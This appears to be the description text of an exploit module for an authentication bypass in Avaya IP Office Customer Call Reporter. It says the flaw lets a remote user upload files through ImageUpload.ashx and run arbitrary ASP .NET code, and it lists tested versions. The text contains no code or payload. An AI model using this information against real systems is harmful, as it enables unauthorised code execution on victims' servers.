This module exploits an authentication bypass vulnerability on Avaya IP Office  
Customer Call Reporter, which allows a remote user to upload arbitrary files  
through the ImageUpload.ashx component. It can be abused to upload and execute  
arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP  
Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
